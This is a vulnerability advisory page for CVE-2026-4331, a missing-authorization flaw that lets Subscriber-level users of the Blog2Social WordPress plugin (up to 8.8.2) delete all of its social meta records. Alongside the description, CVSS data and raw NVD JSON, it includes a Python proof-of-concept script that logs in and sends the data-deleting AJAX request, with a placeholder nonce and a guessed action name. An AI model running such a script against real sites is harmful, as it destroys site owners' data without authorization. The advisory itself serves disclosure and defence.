Security Vulnerability Report
中文
CVE-2026-4331 CVSS 4.3 MEDIUM

CVE-2026-4331

Published: 2026-03-26 05:16:40
Last Modified: 2026-04-24 16:35:20

Description

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to unauthorized data loss in all versions up to, and including, 8.8.2. This is due to the resetSocialMetaTags() function only verifying that the user has the 'read' capability and a valid b2s_security_nonce, both of which are available to Subscriber-level users, as the plugin grants 'blog2social_access' capability to all roles upon activation, allowing them to access the plugin's admin pages where the nonce is output. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete all _b2s_post_meta records from the wp_postmeta table, permanently removing all custom social media meta tags for every post on the site.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Blog2Social <= 8.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration wp_url = "http://target-wordpress.com" username = "subscriber" password = "password" # 1. Login to get cookies and nonce login_url = f"{wp_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wp_url}/wp-admin/" } session.post(login_url, data=login_data) # 2. Access plugin page to retrieve nonce (b2s_security_nonce) # Note: The exact URL to get the nonce might vary based on plugin version/page structure plugin_page = session.get(f"{wp_url}/wp-admin/admin.php?page=blog2social-posts") # Parse logic to find 'b2s_security_nonce' would go here # Assuming nonce found: nonce = "extracted_nonce_value_from_page_source" # 3. Exploit: Trigger data deletion ajax_url = f"{wp_url}/wp-admin/admin-ajax.php" payload = { 'action': 'b2s_reset_social_meta_tags', # Action might differ, inspecting JS needed 'b2s_security_nonce': nonce, 'post_id': '0' # Depending on logic, or might reset all } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit sent successfully. Check if data is deleted.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4331", "sourceIdentifier": "[email protected]", "published": "2026-03-26T05:16:40.477", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to unauthorized data loss in all versions up to, and including, 8.8.2. This is due to the resetSocialMetaTags() function only verifying that the user has the 'read' capability and a valid b2s_security_nonce, both of which are available to Subscriber-level users, as the plugin grants 'blog2social_access' capability to all roles upon activation, allowing them to access the plugin's admin pages where the nonce is output. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete all _b2s_post_meta records from the wp_postmeta table, permanently removing all custom social media meta tags for every post on the site."}, {"lang": "es", "value": "El plugin Blog2Social: Social Media Auto Post &amp; Scheduler para WordPress es vulnerable a la pérdida de datos no autorizada en todas las versiones hasta la 8.8.2, inclusive. Esto se debe a que la función resetSocialMetaTags() solo verifica que el usuario tiene la capacidad 'read' y un b2s_security_nonce válido, ambos disponibles para usuarios con nivel de Suscriptor, ya que el plugin otorga la capacidad 'blog2social_access' a todos los roles al activarse, permitiéndoles acceder a las páginas de administración del plugin donde se genera el nonce. Esto hace posible que atacantes autenticados, con acceso de nivel de Suscriptor o superior, eliminen todos los registros _b2s_post_meta de la tabla wp_postmeta, eliminando permanentemente todas las metaetiquetas personalizadas de redes sociales para cada publicación en el sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Ajax/Post.php#L1281", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Ajax/Post.php#L1290", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Ajax/Post.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.2/includes/Loader.php#L2202", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/tags/8.8.3/includes/Ajax/Post.php#L1301", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php#L1281", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php#L1290", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Post.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Loader.php#L2202", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7dc46bc4-ecfb-438f-b951-7b957489cd96?source=cve", "source": "[email protected]"}]}}